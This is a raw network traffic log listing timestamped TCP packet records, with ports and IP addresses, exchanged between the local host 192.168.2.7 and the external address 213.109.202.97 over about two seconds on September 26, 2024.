Sep 26, 2024 01:49:35.893105984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.895935059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.896003962 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.900383949 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.900460958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.905358076 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.905443907 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.914216042 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.914298058 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.923480034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.923564911 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.928324938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.928411007 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.933243036 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.933315039 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.941207886 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.941293955 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.953463078 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.953548908 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.968070984 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.973061085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.973180056 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.980608940 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.980720043 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.983716011 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.983798027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:35.988563061 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:35.988635063 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.001256943 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.006197929 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.006289005 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.006701946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.006778002 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.011584997 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.011663914 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.015594006 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.015672922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.020519972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.020652056 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.025696993 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.025813103 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.030669928 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.030765057 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.044295073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.045994997 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.046102047 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.046217918 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.049356937 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.049457073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.054239035 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.054351091 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.060713053 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.060839891 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.068140030 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.068273067 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.076117039 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.076221943 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.081197023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.093844891 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.094000101 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.108053923 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.108172894 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.113204956 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.113303900 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.133409977 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.133527040 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.133905888 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.133977890 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.138751030 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.138819933 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.141839027 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.141889095 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.142518044 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.146775007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.146826982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.153536081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.153650999 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.168673992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.168721914 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.192843914 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.197709084 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.197771072 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.200500011 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.200582027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.205511093 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.205547094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.205571890 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.205595970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.222462893 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.225724936 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.225824118 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.225898027 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.227550983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.227612972 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.232440948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.232532978 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.234334946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.234431028 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.238986969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.239067078 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.243879080 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.243953943 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.261282921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.266190052 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.266273975 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.271099091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.271161079 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.290380001 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.295200109 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.295274019 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.300090075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.300187111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.317365885 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.322329044 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.322391987 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.327157974 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.327212095 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.349117994 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.354005098 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.354075909 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.358951092 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.359009027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.394575119 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.413072109 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.429425001 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.464248896 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.480281115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.495603085 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.524574995 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.540560961 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.586719036 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.602585077 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602612019 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602628946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602658987 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602674961 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602691889 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602709055 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602730036 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602736950 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.602809906 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.602808952 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602818012 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.602828979 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602849960 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.602859974 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602880001 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602883101 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.602897882 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602900028 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.602916956 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.602926970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.602963924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.603287935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603305101 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603322983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603339911 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603353024 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.603353977 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603370905 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603374958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.603408098 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603408098 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.603420973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.603442907 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.603777885 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603794098 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603810072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603868008 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.603905916 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603919983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603935003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603950977 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603964090 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603980064 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.603996992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604068995 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.604190111 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604211092 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604227066 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604242086 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604259968 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604275942 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604279995 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.604293108 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604298115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.604309082 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604315996 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.604386091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604947090 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604960918 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.604974985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.605026960 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.605392933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.605407000 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.605427027 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.605438948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.605587006 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.605600119 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.605612993 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.605626106 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.605726957 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.605767965 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.620544910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.620563984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.620687962 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.643043041 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.653242111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.655638933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.655720949 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.668936968 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.669024944 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.669075966 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.670466900 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.679513931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.679608107 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.685190916 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.685261965 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.695938110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.695979118 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.696058035 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.707828045 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.710999966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.738116980 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.738622904 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.738677025 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.750220060 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.768855095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.768919945 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.768953085 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.777664900 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.777754068 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.787774086 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.787885904 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.787961960 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.795085907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.819052935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.819072962 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.819164038 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.825715065 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.825784922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.841243029 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.841264009 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.841356039 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.854075909 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.854116917 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.854207993 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.874236107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.874279022 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.874397993 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.887131929 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.887281895 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.887331963 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.906455040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.928345919 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.928426981 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.928545952 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.941473007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.941593885 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.948237896 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.961538076 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.961627007 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.970670938 CEST	9000	58398	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.970760107 CEST	58398	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.970953941 CEST	58398	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.974700928 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:36.975462914 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:36.975691080 CEST	9000	58398	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.015744925 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.042144060 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.042253971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.042294025 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.053982973 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.067755938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.067898989 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.075428009 CEST	58399	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.078861952 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.078897953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.078949928 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.080276966 CEST	9000	58399	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.080327988 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.080377102 CEST	58399	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.080472946 CEST	58399	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.085210085 CEST	9000	58399	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.091696024 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.091779947 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.091785908 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.121244907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.121264935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.121279001 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.121416092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.134351015 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.134378910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.134414911 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.147907972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.147928953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.147984982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.155107975 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.155189991 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.162414074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.162431955 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.162486076 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.172724962 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.172784090 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.184515953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.184587002 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.208637953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.208703995 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.221746922 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.221817017 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.233907938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.233926058 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.233985901 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.234006882 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.235276937 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.235333920 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.238903046 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.238993883 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.244005919 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.244085073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.249305964 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.249383926 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.254153013 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.254295111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:37.267090082 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:37.267179012 CEST	58394	15647	192.168.2.7	213.109.202.97
